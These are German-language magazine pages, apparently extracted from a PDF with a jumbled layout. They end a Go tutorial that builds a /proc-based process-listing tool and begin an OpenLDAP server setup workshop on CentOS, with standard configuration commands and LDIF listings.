in einem Rutsch. 

Am Ende kommt ein 

Array mit „Runen“ 

heraus – so werden in 

Go einzelne UTF-8-Zeichen 

bezeichnet –, von 

denen man mit einem 

Array-Index das erste 

Zeichen ausliest. Das 

wiederum lässt sich 

mit einem einfachen 

Aufruf der Funktion 

»unicode.IsDigit()« erledigen, 

der eine Rune 

als Argument erwartet: 

if unicode.IsDigit([]U 

rune(proc.Name())[0]) { 

... 

Abbildung 1: Die Struktur von Go-Projekten: ein 

Toplevel-Directory, darunter Verzeichnisse für Binärdateien 

und Quellcode-Projekte. 

Dass das in der Unicode-Welt übrigens 

nicht nur auf arabische Zahlen zutrifft, 

sondern auch mit anderen Zahlensystemen 

funktioniert, zeigt ein kleines 

Beispielprogramm, das in Abbildung 2 

zu sehen ist. 

Als nächstes geht es darum, die virtuellen 

Dateien des Procfs zu öffnen und 

ihren Inhalt zu verarbeiten. Praktischerweise 

bietet wieder die Bibliothek »ioutil« 

mit »ReadFile« eine Funktion, die 

eine Datei komplett einliest und den 

Inhalt in einem Byte-Array ablegt: 

stat, err := ioutil.ReadFile(filename) 

Wie man sieht, gibt die Funktion zwei 

Werte zurück: den Inhalt der Datei und 

einen Fehlercode. Das ist typisch für 

Go-Funktionen und jedenfalls strukturierter 

als etwa im Fehlerfall für den Inhalt 

einen Nullpointer zurückzuliefern. 

Weist man den Fehlercode einer Variab- 

Abbildung 2: Die Unicode-Methode »IsDigit« ermittelt, ob ein Zeichen 

eine Zahl ist. Das funktioniert selbst mit fremden Zahlensystemen. 


Admin 

Ausgabe 02-2014

102 

Programmieren 

Go 

Abbildung 3: Das Ergebnis der Mühen: Das Prozess-Tool »lap« zeigt die 

laufenden Prozesse mit Benutzernamen an. 

n Listing 1: Regular Expressions 

01 package main 

02 

03 import ( 

04 "regexp" 

05 ... 

06 ) 

07 

08 // Format: 1 (init) S 0 1 1 0 ‐1 4219136 19614 

33480686 ... 

09 var restat = regexp.MustCompile(`(\d+) $(.+)$ 

(\w) (\d+) (\d+) (\d+) (\d+)`) 

10 

11 func main() { 

12 ... 

13 data := restat.FindStringSubmatch(strin 

g(stat)) 

14 procData = ProcData{pid: data[1], name: 

data[2]} 

15 ... 

len zu, muss man Sie auch verarbeiten, 

sonst gibt der Compiler seinerseits eine 

Fehlermeldung aus und weigert sich, 

die Datei zu übersetzen. Wer den Rückgabewert 

ignorieren möchte, kann den 

Fehlercode wieder dem Platzhalter »_« 

zuweisen. Um den Fehler zu verarbeiten, 

testet man üblicherweise, ob die 

»err«-Variable gleich »nil« ist. Dann ist 

kein Fehler aufgetreten. 

Die Datei »/proc/PID/stat« enthält nur 

eine Zeile in einem fixen Format, bei 

dem die einzelnen Felder durch Leerzeichen 

getrennt sind. 

Leider ist das Format 

nirgends vernünftig 

dokumentiert, auch 

nicht in der Linux- 

Kernel-Dokumentation 

des Procfs [2]. Letztlich 

hilft, wenn man es 

genau wissen möchte, 

nur ein Blick in den 

Linux-Quellcode. Zuerst 

kommt jedenfalls 

die PID (die ja mit dem 

Verzeichnisnamen 

identisch ist), dann 

in Klammern der Prozessname, 

der Status 

des Prozesses und die 

Parent-PID. 

Regular 

Expressions 

Die Felder lassen sich zum Beispiel mit 

der Funktion »fmt.Sscanf« verarbeiten, 

die genauso funktioniert wie die 

entsprechende Funktion in C: Format- 

Strings legen das Format der gelesenen 

Zeile und den Datentyp fest. Alternativ 

– wenn auch vermutlich etwas langsamer 

– lässt sich das Gleiche auch mit 

Regular Expressions erledigen. Dazu 

bietet Go das Paket »regexp« an, das 

die RE2-Syntax von Regular Expressions 

implementiert [3]. 

Die von dem Modul zur Verfügung 

gestellten Funktionen sind etwas 

unübersichtlich, folgen aber einem 

System. Zunächst einmal gibt es von 

jeder Funktion zwei Varianten: eine, 

die ein Byte-Array verarbeitet und eine, 

mit dem Wort „String“ im Namen, die 

mit Strings umgeht. Dann gibt es Funktionen, 

die den gefundenen String nur 

einmal oder mehrfach („All“) liefern. 

Wer in einer Regular Expression mehrere 

Suchmuster verwenden und die 

gefundenen Strings Variablen zuweisen 

möchte, verwendet eine Funktion mit 

„Submatch“ im Namen. 

Hier tut es die Funktion »FindString- 

Submatch«, weil das Regex-Muster 

so konstruiert ist, dass es ohnehin 

nur einmal zutreffen kann und dabei 

die Fundstellen alle in einem Array 

speichert. Das Byte-Array, das von 

»ReadFile«stammt, wird per Typecast 

in einen String umgewandelt. Würde 

man die Byte-Array-Varianten der 

Regular-Expression-Funktionen verwenden, 

müsste man danach auch mit 

Byte-Array weiterarbeiten oder diese 

umwandeln. 

Auch für die Übersetzung des Suchmusters 

gibt es mehrere Funktionen: »Compile«, 

»CompilePOSIX«, »MustCompile« 

und »MustCompilePOSIX«. Warum das 

so ist, erschließt sich nicht ganz, denn 

das Gleiche hätte sich ja auch mit nur 

einer Funktion umsetzen lassen, die 

entsprechende Parameter verarbeitet. 

Um zu verhindern, dass die Regular 

Expression immer wieder neu übersetzt 

wird, kann man sie als Toplevel-Variable 

definieren. Der zugehörige Code ist 

in Listing 1 zu sehen. 

Zeile 14 des Codes legt ein neues 

»ProcData«-Objekt an und weist die 

beiden ersten Submatches dessen 

Attributen »pid« und »name« zu. In 

Zeile 9 ist die Regular Expression in 

Backticks »`« eingeschlossen, weil bei 

Strings in einfachen oder doppelten 

Anführungszeichen ein Backslash »\« 

als Escape-Zeichen gilt. Man müsste 

also umständlich vor jeden Backslash 

noch einen zweiten schreiben. In der 

Backtick-Umgebung kann man sich das 

sparen. 

Analog läuft das Ganze mit der Datei 

»/proc/PID/status«, die man ebenfalls 

einlesen muss, weil etwa die User-ID 

des Prozesses nicht in der »stat«-Datei 

zu finden ist. Allerdings ist die Status- 

Datei etwas schwieriger zu parsen, 

denn sie enthält viele einzelne Zeilen. 

Man könnte also die Datei zeilenweise 

verarbeiten oder eine Regular Expression 

im Multiline-Mode verwenden, 

den der Schalter »m« zu Beginn der 

Regex aktiviert. Dies allein genügte 

allerdings noch nicht, es war auch noch 

der Schalter »s« nötig, der dafür sorgt, 

dass die Metavariable ».« in der Regular 

Expression auch das Newline-Zeichen 

»\n« einschließt. Die Regex, um aus der 

Status-Datei die User- und Group-ID zu 

entnehmen, sieht dann so aus: 

(?sm)^Uid:\t(\d+).*^Gid:\t(\d+) 

Auch die UID wird nun einem Feld im 

»ProcData«-Objekt zugewiesen. Bleibt 


Programmieren 

Go 

103 

noch, aus der UID den Usernamen zu 

ermitteln, etwa über die Passwd-Datei. 

Die Arbeit kann man sich allerdings 

sparen, denn Go bietet dafür schon 

die Funktion »user.LookupId«, die als 

Ergebnis ein »User«-Objekt zurückgibt, 

das unter anderem den Benutzernamen 

enthält. Summa summarum sieht 

das so aus: 

user, _ := user.LookupId(procData.U 

uid) 

procData.user = user.Username 

Eine Option des »lap«-Tools soll bestimmten, 

ob es den Namen oder die 

UID ausgibt. Zur einfachen Implementierung 

von Kommandozeilenoptionen 

bringt Go das Paket »flags« mit. Wie 

alles in Go sind auch die Flags typisiert 

und stehen zum Beispiel als Integer, 

String und Boolean zur Verfügung. 

Einen Bool-Schalter definiert die folgende 

Zeile: 

var realname = flag.Bool("r", false, U 

"show real user name") 

flag.Parse() 

Der erste Parameter gibt den Namen 

des Schalters an, danach folgen die Default-Belegung 

und der erklärende Text. 

Im weiteren Verlauf des Programms 

kann man nun die Variable mit »if (realname)« 

abfragen. Mit »‐r« aufgerufen, 

gibt »lap« dann die Benutzernamen 

aus, sonst nur die UID (Abbildung 3). 

Die wesentlichen Funktionen des Programms 

sind in Listing 2 zu sehen, das 

komplette Listing auf dem Server des 

ADMIN-Magazins [4]. 

Was fehlt 

Mit relativ wenig Aufwand ist ein kleines 

Go-Tool entstanden, das die Prozesse 

auf einem Linux-System ermittelt 

und auf der Kommandozeile ausgibt. 

Erweiterungsmöglichkeiten gibt es 

noch viele, etwa einen Cache für das 

n Info 





[1] Oliver Frommel, Programmieren mit Go, ADMIN 

04/2012: [http:// www. admin‐magazin. de/ 

Das‐Heft/ 2012/ 04/ Programmieren‐mit‐Go/] 

[2] The /proc Filesystem: 

[https:// www. kernel. org/ doc/ 

Documentation/ filesystems/ proc. txt] 

[3] RE2-Syntax: 

[https:// code. google. com/ p/ re2/ wiki/ Syntax] 

[4] Listings: [ftp:// ftp. admin‐magazin. de/ pub/ 

listings/ admin‐magazinde/ 2014/ 02/ golang] 

Lookup der Benutzernamen. Auch die 

Laufzeitinformationen der Prozesse 

wie die Startzeit und so weiter fehlen 

noch. All dies und mehr wird Teil eines 

Folgeartikels sein. n 

n Listing 2: »lap.go« 

01 ... 

02 

03 type ProcData struct { 

04 name string 

05 pid string // using string to represent PID 

06 ppid string 

07 uid string 

08 user string 

09 } 

10 

11 func getPidEntries(procDir string) (pids []string, err error) { 

12 entries, err := ioutil.ReadDir(procDir) 

13 

14 for _, proc := range entries { 

15 if unicode.IsDigit([]rune(proc.Name())[0]) { 

16 pids = append(pids, proc.Name()) 

17 } 

18 } 

19 return pids, err 

20 } 

21 

22 func getProcData(pid string) (procData ProcData, err error) { 

23 filename := procDir + pid + "/stat" 

24 stat, err := ioutil.ReadFile(filename) 

25 if err != nil { 

26 log.Fatal(err) 

27 } 

28 data := restat.FindStringSubmatch(string(stat)) 

29 procData = ProcData{pid: data[1], name: data[2]} 

30 

31 filename = procDir + pid + "/status" 

32 status, err := ioutil.ReadFile(filename) 



35 } 

36 data = restatus.FindStringSubmatch(string(status)) 

37 procData.uid = data[1] 

38 user, _ := user.LookupId(procData.uid) 

39 procData.user = user.Username 

40 

41 return procData, nil 

42 } 

43 

44 func main() { 

45 var realname = flag.Bool("r", false, "show real user 

name") 

46 flag.Parse() 

47 pids, err := getPidEntries(procDir) 



50 } 

51 for _, pid := range pids { 

52 procData, err := getProcData(pid) 

53 if *realname { 

54 fmt.Printf("%s\t%s\t%s\n", procData.user, 

procData.pid, procData.name) 

55 } else { 

56 fmt.Printf("%s\t%s\t%s\n", procData.uid, 

procData.pid, procData.name) 

57 } 

58 } 

59 } 


Admin 

Ausgabe 02-2014

ADMIN und Linux-Magazin 

am Apple Newsstand! 

Jetzt NEU! 

Jetzt GRATIS 

testen! 

Alternativ finden Sie alle Titel der Medialinx AG auch bei: 

PagePlace, iKiosk, OnlineKiosk und Leserauskunft

freeX 

Einführung 

105 

Sonderteil 

Auf der folgenden Seite startet der regelmäßige 

FreeX-Sonderteil des ADMIN-Magazins. Hier finden 

Sie Know-how-Artikel und Workshops von erfahrenen 

Autoren aus der langen Tradition der FreeX. 

OpenLDAP......................................106 

Ein ausführlicher Workshop erklärt, wie man den 

freien Directory-Server in Betrieb nimmt und beispielhaft 

einen Webserver damit absichert. 

ika747, 123RF 

www.admin-magazin.de Admin Ausgabe 02-2014

106 

freeX 

OpenLDAP 

Workshop OpenLDAP-Server 

Zentralregister 

tiero, 123RF 

Zentrale Benutzerverwaltung mit LDAP oder Active Directory ist heute Standard. Dennoch schrecken viele 

vor dem Aufbau einer solchen Infrastruktur zurück und verwalten Benutzerdaten lieber von Hand. Dieser 

Workshop zeigt, wie es mit OpenLDAP besser geht. Ulrich Habel 

Der OpenLDAP-Server verfügt über 

eine lange Historie in der Unix-Welt. Der 

Beginn des Projekts datiert bis ins Jahr 

1998 zurück, als das Thema zentrale 

Benutzerverwaltung lediglich im Enterprise-Umfeld 

ernstgenommen wurde. 

Kleine Insellösungen waren damals die 

Grundlage für eine zentrale Benutzerverwaltung; 

Verzeichnisserver gab es 

nur von großen IT-Anbietern. Ältere Leser 

werden jetzt vielleicht schmunzelnd 

an die Anfänge der Domain-Verwaltung 

unter Windows NT, Novell Netware oder 

NIS zurückdenken. 

Ein entsprechend ausgereifter Service 

stand mit X.500 ebenfalls zur Verfügung, 

fand aber in der Praxis nur wenig 

Verbreitung. LDAP (Lightweight Directory 

Access Protocol) sollte ursprünglich 

lediglich ein Protokoll für die X.500- 

Services sein. Daraus entwickelte sich 

der LDAP-Server als Verzeichnisserver, 

wie er heute vielseitig verwendet wird. 

1998 wurde der heutige OpenLDAP-Server 

als Klon der Sourcen des LDAP-Servers 

der Universität Michigan von Kurt 

Zeilenga ins Leben gerufen. Interessan- 

terweise ist das OpenLDAP-Projekt niemals 

eingeschlafen, sondern hat sich 

beständig weiterentwickelt und gilt daher 

heute immer noch als fortschrittlich 

und wegweisend. Allerdings haben die 

zahlreichen Änderungen, die sehr strikt 

durchgesetzt wurden, auch den einen 

oder anderen Anwender abgeschreckt. 

Üblicherweise werden Änderungen von 

elementaren Bestandteilen in einer 

Version als deprecated markiert und 

mit entsprechender Warnung versehen. 

In der Folgeversion ist diese Funktionalität 

dann nicht mehr verfügbar. Für 

das Projekt stellt dies den Fortschritt 

sicher, für den Administrator bedeutet 

es, immer am Ball bleiben zu müssen. 

Was ist ein Verzeichnisserver? 

Ein Verzeichnisserver stellt einen Behälter 

für Informationen zur Verfügung, 

der sich über das LDAP-Protokoll und 

passende Clients abfragen lässt. Der 

Vergleich mit einem Telefonbuch bietet 

sich zwar an, hält jedoch im Detail nicht 

stand. Ein LDAP-Server kann zwar Kontaktdaten 

für das Unternehmen beinhalten, 

jedoch auch mit weiteren Informationen 

zu einer Person angereichert 

werden. Letztlich ist aber die Art der 

Informationen nicht vorgegeben. So 

können ein Warenkatalog genauso wie 

eine Inventarliste ihren Platz finden. 

Ein Verzeichnisserver bietet sich immer 

dann an, wenn Informationen in einer 

baumartigen Struktur mit entsprechenden 

Unterzweigen abgelegt werden 

sollen. Die baumartige Struktur wird 

im Folgenden als DIT (Directory Information 

Tree) bezeichnet. Jede der abgelegten 

Informationen innerhalb des 

Baums kann eine Menge von Attributen 

enthalten, die teilweise zwingend 

vorhanden sein müssen oder optional 

sind. Die Festlegung, welche Attribute 

wo zu Verfügung stehen, wird durch ein 

Schema vorgegeben. Der OpenLDAP- 

Server stellt seine eigene Konfiguration 

beispielsweise in einem DIT dar. 

In diesem Workshop erfahren Sie, wie 

man den OpenLDAP-Server in Version 

2.4.23 auf einem CentOS 6.5 installiert 

und in Betrieb nimmt. Als Beispiel dient 

die Authentifizierung von Benutzern 


freeX 

OpenLDAP 

107 

an einem Webserver, die Konfiguration kann aber für Betriebssysteme 

oder andere Dienste erweitert werden. Am Ende des 

Workshops steht damit ein vollfunktionaler LDAP-Server für das 

Unternehmen zur Verfügung, der leicht erweitert werden kann 

und dem aktuellen Stand von CentOS 6.5 und OpenLDAP 2.4 

ohne zusammenkopierte Konfiguration entspricht. 

Installation des OpenLDAP-Servers 

Die Installation von OpenLDAP ist denkbar einfach. Alle erforderlichen 

Pakete befinden sich in den CentOS-Repositories und 

stehen damit auf jeder CentOS-Installation ohne weitere Veränderungen 

zur Verfügung. Mit dem Paketmanager Yum erschöpft 

sich die Installation in einem Aufruf: 

$ sudo yum install openldap‐servers openldap‐clients httpd ldapvi 

Die beiden ersten Pakete erklären sich von selbst und werden 

benötigt, um den OpenLDAP-Server zu installieren und zu 

verwalten. Der Webserver »httpd« wird im Laufe des Tutorials 

verwendet, um die Authentifizierung und Autorisierung einer 

Webserver-Location gegenüber dem LDAP-Server zu demonstrieren. 

Das Werkzeug »ldapvi« ist ein universeller Kommandozeilen-LDAP-Client, 

der für kleinere administrative Aufgaben 

hervorragend geeignet ist. 

Konfiguration via OLC 

OpenLDAP hat in der Version 2.4, die sich im CentOS-Repository 

befindet, auf das Modell der dynamischen Konfiguration umgestellt. 

In der Kurzform wird diese Art der Konfiguration als 

OLC (On-Line-Configuration) bezeichnet. In den verschiedenen 

Dokumentationen rund um den OpenLDAP-Server taucht auch 

immer wieder der Begriff der »cn=config«-Methodik auf, die das 

Gleiche bedeutet. 

Beim »cn=config«-Modell liegen die Konfigurationsdaten im 

LDAP-Server und werden mit den LDAP-Client-Werkzeugen 

bearbeitet. Im alten Modell wurde der OpenLDAP-Server noch 

über eine zentrale Konfigurationsdatei gepflegt. Die Gründe für 

die Umstellung, die auf den ersten Blick erst einmal alles komplizierter 

macht, sind schnell ersichtlich. Alle Änderungen können 

im laufenden Betrieb vorgenommen werden, ohne dass ein 

Neustart des Servers erforderlich wird. Insbesondere bei größeren 

Installationen ist der Neustart eine relativ zeitaufwendige 

Sache, die mehrere Minuten dauern kann. Zudem verliert der 

LDAP-Server bei einem Neustart seinen Cache, der im Hauptspeicher 

liegt. Nachfolgende Anfragen dauern entsprechend 

länger und müssen erst wieder den Cache füllen. 

Mit dem dynamischen Konfigurationsmodell entfallen Neustarts 

und die Verfügbarkeit des LDAP-Servers bleibt erhalten. Sobald 

man das Konzept hinter dem neuen Konfigurationsmodell verstanden 

hat, fühlt es sich auch deutlich schlüssiger an. Beim alten 

Modell liegen die Konfigurationsdateien in einem Verzeichnisbaum 

unterhalb von »/etc/openldap/slapd.d«, die Vorrang 

vor einer eventuell vorhandenen Konfigurationsdatei »/etc/ 

openldap/slapd.conf« haben. Dieser Artikel konzentriert sich im 

Weiteren aber ausschließlich auf das neue Modell. Nach der Installation 

sind einige Schritte erforderlich, bevor der LDAP-Server-Daemon 

»slapd« starten kann. Zuerst müssen Sie sich 

für ein Daten-Backend entscheiden. OpenLDAP unterstützt 

eine Vielzahl an Backends, beginnend bei der Berkeley 

DB (BDB), die als Standard gesetzt ist, über MySQL, 

Memory-Datenbanken oder auch Perl-Datenstrukturen. In 

unserer Beispielkonfiguration verwendet der LDAP-Server 

die BDB. 

Die nachfolgenden Schritte müssen Sie mit Root-Rechten 

durchführen. Statt direkt als Root-Benutzer zu arbeiten, 

werden im Folgenden alle Kommandos mit dem »sudo«- 

Befehl ausgeführt. Um eine initiale Datenbank anzulegen, 

liefert der OpenLDAP-Server ein Konfigurations-Template 

mit. Kopieren Sie es in das Datenverzeichnis des Open- 

LDAP-Servers: 

$ sudo cp /usr/share/openldap‐servers/DB_CONFIG.example U 

/var/lib/ldap/DB_CONFIG 

Das Template enthält Angaben über Cache-Größe und 

Datenbank-Logfiles. Alle diese Werte können Sie jedoch 

dank des dynamischen Konfigurationsmodells später 

ändern. Nach dem Kopieren der Datei testen Sie den 

OpenLDAP-Server auf korrekte Konfiguration und starten 

ihn anschließend: 


108 

freeX 

OpenLDAP 

$ sudo slaptest ‐u 

$ sudo chkconfig slapd on 

$ service slapd start 

formulieren Sie mit dem Kommando 

»ldapsearch« eine Suchabfrage und 

schicken sie zum Server: 

Die weiteren Zeilen der Ausgabe geben 

Aufschluss über die Suche und die 

Form der Ausgabe: 

Voilà, der OpenLDAP-Server ist bereit 

für die initiale Konfiguration. Aktuell 

kann sich, obwohl der Server läuft, 

noch niemand verbinden. 

Authentifizieren 

Zuerst erzeugen Sie das LDAP-RootDN- 

Passwort. Der RootDN stellt den obersten 

Knoten in einem LDAP-Verzeichnis 

dar und kann grundsätzlich alle 

Knotenpunkte unter ihm verändern. 

Es ist quasi der Root-User des LDAP- 

Systems. Das Passwort kann mit dem 

Kommando »slappasswd« generiert 

werden. Das nachfolgende Kommando 

setzt das Passwort auf »geheim« und 

gibt den SHA-Hash des Passworts auf 

der Kommandozeile aus: 

$ sudo slappasswd ‐s geheim 

{SSHA}GT+mLzLeRPGE7176X1Btmt9AzSolCTRa 

Die komplette Zeile kopieren Sie sich 

sinnvollerweise in ein temporäres 

Editor-Fenster, sie wird später für die 

Konfigurationsdatei benötigt. 

Zum jetzigen Zeitpunkt ist der Slapd- 

Daemon noch sehr rudimentär konfiguriert 

und kann noch keine sinnvollen 

Aufgaben erfüllen. Trotzdem ist es 

informativ, den Directory Information 

Tree (DIT) in der aktuellen Form anzuschauen. 

Wenn der LDAP-Server läuft, 

$ sudo ldapsearch ‐b cn=config U 

‐Y EXTERNAL ‐H ldapi:// '(objectClassU 

=olcDatabaseConfig)' olcDatabase 

Das Kommando »ldapsearch« wird 

hierbei angewiesen, sich über einen 

Socket (»ldapi«) zum LDAP-Server zu 

verbinden und eine Suchabfrage zu 

starten. Der erste Teil der Server-Antwort 

sieht so aus: 

SASL/EXTERNAL authentication started 

SASL username: 

gidNumber=0+uidNumber=0,cn=peercred,U 

cn=external,cn=auth 

Die Methode der Authentifizierung 

wird durch die Option »‐Y EXTERNAL« 

angegeben. Sie weist den LDAP-Server 

an, die Authentifizierung nicht gegen 

die Daten im LDAP-Server durchzuführen, 

sondern auf Basis der User-ID 

oder anderer Kriterien zu entscheiden. 

Für diese Form der Authentifizierung 

ist im OpenLDAP bereits ein Standard 

vorkonfiguriert, der hier genutzt wird. 

Der User mit der UserID 0 und der 

GruppenID 0 darf sich anmelden, also 

der User »root«. Deshalb muss diesem 

Kommando ein »sudo« vorangestellt 

werden. Zum aktuellen Zeitpunkt ist 

dies der einzige Weg, sich am LDAP- 

Server anzumelden. 

# extended LDIF 

# LDAPv3 

# base with scope subtree 

# filter: 

(objectClass=olcDatabaseConfig) 

# requesting: olcDatabase 

Das Format »extended LDIF« ist der 

Standard in der LDAP-Protokollversion 

3. Die Zeile »base« gibt an, von wo die 

Suche gestartet wurde. In diesem Falle 

wurde der Knotenpunkt mit dem Common 

Name (»cn«) »config« durchsucht. 

Der Scope, also der Suchbereich, gibt 

dabei Aufschluss über die Suchtiefe. 

Bei der Bezeichnung »subtree« wird 

alles unterhalb der Base durchsucht. 

Der Suchfilter wurde auf eine »object- 

Class« gesetzt, in diesem Fall »olcDatabaseConfig«. 

Eine Objektklasse stellt 

in LDAP eine Form von Datencontainer 

dar, die mit Attributen gefüllt ist. 

Des Weiteren sind in der Ausgabe die 

beiden interessantesten Datenbanken 

zu sehen: 

# {0}config, config 

dn: olcDatabase={0}config,cn=config 

olcDatabase: {0}config 

# {2}bdb, config 

dn: olcDatabase={2}bdb,cn=config 

olcDatabase: {2}bdb 

n Listing 1: »initial.ldif« 

01 dn: olcDatabase={0}config,cn=config 

02 changetype: modify 

03 replace: olcAccess 

04 olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred 

,cn=external,cn=auth" write by dn.base="cn=manager,dc=acme‐service 

s,dc=org" read by * none 

05 

06 # replace: olcRootDN 

07 dn: olcDatabase={2}bdb,cn=config 


09 replace: olcRootPW 

10 olcRootPW: {SSHA}GT+mLzLeRPGE7176X1Btmt9AzSolCTRa 

11 ‐ 


13 olcAccess: {0}to attrs=userPassword by dn.base="gidNumber=0+uidNu 

mber=0,cn=peercred,cn=external,cn=auth" write by dn.base="cn=mana 

ger,dc=acme‐services,dc=org" write by anonymous auth by self write 

by dn="uid=syncrepl,ou=systems,dc=acme‐services,dc=org" read by * 

none 

14 olcAccess: {1}to * by self write by users read by * none 

15 ‐ 

16 replace: olcSuffix 

17 olcSuffix: dc=acme‐services,dc=org 

18 ‐ 

19 replace: olcRootDN 

20 olcRootDN: cn=manager,dc=acme‐services,dc=org 

21 

22 dn: olcDatabase={1}monitor,cn=config 



25 olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred 

,cn=external,cn=auth" read by dn.base="cn=manager,dc=acme‐services 

,dc=org" read by * none 


freeX 

OpenLDAP 

109 

Als erstes Element ist die Konfigurationsdatenbank 

vorhanden und dann 

die Datenbank (»{2}bdb«), die später 

die Nutzerdaten aufnehmen wird. Abgeschlossen 

wird die Antwort auf die 

Anfrage durch eine kleine Statistik über 

Suche und Treffer: 

# search result 

search: 2 

result: 0 Success 

# numResponses: 5 

# numEntries: 4 

Die Grundkonfiguration 

Nachdem der LDAP-Server nun läuft, 

steht die eigentliche Konfiguration an, 

um ihn auch wirklich benutzbar zu machen. 

Die Konfiguration wird in diesem 

Beispiel in zwei Bereiche unterteilt: die 

Server-Konfiguration und die Konfiguration 

für die späteren LDAP-Daten. 

Es findet dabei eine strikte Trennung 

zwischen den verschiedenen Aufgabenbereichen 

in der Administration des 

LDAP-Servers statt. Der Administrator 

des Linux-Systems darf die Konfiguration 

des LDAP-Servers verwalten, der 

Administrator des LDAP-Verzeichnisses 

(der „Manager“) hat nur Rechte für 

diese Daten. 

Eine Trennung dieser Art ist im Betrieb 

durchaus sinnvoll, da klar zwischen 

den verschiedenen Aufgaben unterschieden 

wird. So ist es möglich, die 

Applikationsbetreuung des LDAP-Servers 

an eine andere Abteilung zu übertragen, 

ohne die Integrität des Servers 

hinsichtlich der Sicherheit aufzugeben. 

Im ersten Schritt findet die Konfiguration 

des LDAP-Services statt. Die 

Konfigurationsdatei wird als Textdatei 

im LDIF-Format erstellt und mit dem 

Kommando »ldapmodify« eingelesen. 

Der Aufbau der Datei, die in Listing 1 

dargestellt ist, adressiert den zu ändernden 

Eintrag innerhalb des LDAP- 

Zweigs, gibt die Art der Änderung vor 

und schließt mit dem neuen Wert ab. 

In der initialen Konfigurationsdatei 

werden die Einsprungpunkte für die Änderungen 

mit dem DN, dem Distinguished 

Name, referenziert. Er entspricht 

immer dem vollen Pfad innerhalb des 

DIT (Directory Information Tree) des 

n Tabelle 1: LDAP-Keywords 

Abkürzung Voller Name Bedeutung 

DIT Directory Information Tree Informationsbaum im LDAP-Server 

CN Common Name Attribut eines Objekts im LDAP-Baum 

DN Distinguished Name Vollständiger Pfad eines Objekts innerhalb des 

LDAP-Baums 

DC Domain Component Bestandteil eines Toplevel-Knotens im LDAP- 

Baum 

OpenLDAP-Servers und kann daher 

nur ein einziges Mal vorhanden sein. 

Eine Übersicht über die verschiedenen 

Abkürzungen und deren Bedeutungen 

findet sich in Tabelle 1. 

Die initiale Konfiguration nimmt eine 

Vielzahl von Einstellungen vor. So 

erlaubt sie den Zugriff des Applikationsadministrators 

(Manager) auf den 

Informationsbaum des OpenLDAP- 

Servers. Damit kann die Konfiguration 

von diesem User gelesen, jedoch nicht 

modifiziert werden. Für die Fehlersuche 

hat sich dieses Vorgehen als hilfreich 

erwiesen, damit man nicht immer zwischen 

verschiedenen Rechten hin- und 

herspringen muss. Der zweite Block 

legt das Passwort des Manager-Users 

an, das oben mit »slappasswd« erzeugt 

wurde. In diesem Konfigurationsbeispiel 

lautet das Passwort »geheim«, für 

den produktiven Einsatz sollten Sie es 

gegen etwas Sinnvolles austauschen. 

Zugriffsregeln 

Der dritte Block enthält die Regeln für 

den Zugriff. Sie erlauben den schreibenden 

Zugriff für den Benutzer »root« 

über die Autorisierung des Systems sowie 

des Benutzers »manager«. Zudem 

darf sich jeder Benutzer authentifizieren 

und anschließend seine eigenen 

Daten verändern. Jeder Benutzer darf 

alle Daten bis auf das Attribut des User- 

Passworts anzeigen lassen. 

Im vierten Block wird das Suffix des 

LDAP-Servers festgelegt. Es besteht 

üblicherweise aus den Bestandteilen 

der Domain des Servers oder des 

Unternehmens. Punkte dienen dabei 

als Trennzeichen der einzelnen Bestandteile 

der Domain-Components 

(DC). Das Suffix aus dem Beispiel 

»dc=acme‐services,dc=org« entspricht 

demnach der Domain »acme‐services. 

org«. Es hat jedoch lediglich eine ordnende 

Funktion und soll eine eindeutige 

Kennzeichnung darstellen. Es ist 

nicht erforderlich, die echte Domain 

des LDAP-Servers zu verwenden. 

Der fünfte Block enthält die Konfiguration 

für den OpenLDAP-internen 

Service-Monitor. Er kann später genutzt 

werden, um Statusinformationen über 

den Server abzufragen. Nachdem alle 

Teile der Konfiguration angepasst 

wurden, kann die Konfigurationsdatei 

eingelesen werden. Auch bei diesem 

Vorgang wird wieder die Autorisierung 

mittels des Benutzers »root« genutzt. 

$ sudo ldapmodify ‐Y EXTERNAL ‐H U 

ldapi:// ‐f initial.ldif 

Absicherung des Servers 

Der Server ist nun einsatzbereit, allerdings 

noch vollkommen ungesichert, 

denn er nimmt unverschlüsselte Anfragen 

auf Port 389 entgegen. Wenn der 

Manager sich von einer Workstation 

mit dem Server verbindet, wird das 

Passwort im Klartext übertragen. Um 

den Server vor unberechtigtem Zugriff 

zu schützen und das Mitschneiden des 

Passworts im Netz zu verhindern, sollte 

schnellstmöglich die Verschlüsselung 

konfiguriert werden. Hierbei bieten sich 

grundsätzlich zwei Wege an. Das erste 

Lösungsszenario verwendet ein selbstsigniertes 

Zertifikat, das mit den mitgelieferten 

Skripten im OpenLDAP-Paket 

erzeugt wird. Die Clients vertrauen 

später dem Server-Zertifikat. Wer schon 

eine Zertifizierungsstelle betreibt, kann 

auch einen anderen Weg einschlagen, 

dazu gleich mehr. 

Die einfache Option ist, die mitgelieferten 

Skripte zu verwenden, die Sie als 

Root-Benutzer ausführen müssen. Das 

erste Skript baut eine Zertifikatsdatenbank 

in dem Verzeichnis »/etc/openldap/certs« 

auf. 


Admin 

Ausgabe 02-2014

110 

freeX 

OpenLDAP 

01 dn: cn=config 

$ sudo /usr/libexec/openldap/create‐U 

certdb.sh 

Creating certificate database in '/etcU 

/openldap/certs'. 

Das zweite Skript erzeugt das erforderliche 

Zertifikat und importiert es in den 

soeben erzeugten Zertifikats-Store. 

$ sudo /usr/libexec/openldap/generate‐U 

server‐cert.sh ‐d /etc/openldap/certs ‐hU 

ldap.acme‐services.org 

Der OpenLDAP-Server ist in der Standardkonfiguration 

so eingestellt, dass 


03 replace: olcTLSCACertificatePath 

04 olcTLSCACertificatePath: /etc/pki/tls/certs 

05 ‐ 

ou=people 

n Listing 2: »ssl.ldif« 

06 replace: olcTLSCertificateFile 

07 olcTLSCertificateFile: /etc/pki/tls/certs/ 

localhost.crt 

08 ‐ 

09 replace: olcTLSCertificateKeyFile 

10 olcTLSCertificateKeyFile: /etc/pki/tls/private/ 

localhost.key 

01 BASE dc=acme‐services,dc=org 

02 URI ldaps://ldap.acme‐services.org 

03 TLS_CACERTDIR /etc/openldap/certs 

04 TLS_REQCERT allow 

uid=uhabel 

dc=org 

dc=acmeservices 

ou=groups 

n Listing 3: »/etc/openldap/ldap.conf« 

cn=vcsldap 

Abbildung 1: Der komplette Informationsbaum des LDAP-Verzeichnisses. 

ou=systems 

er dieses Zertifikat verwendet. Das 

Zertifikat wird mit dem Namen »Open- 

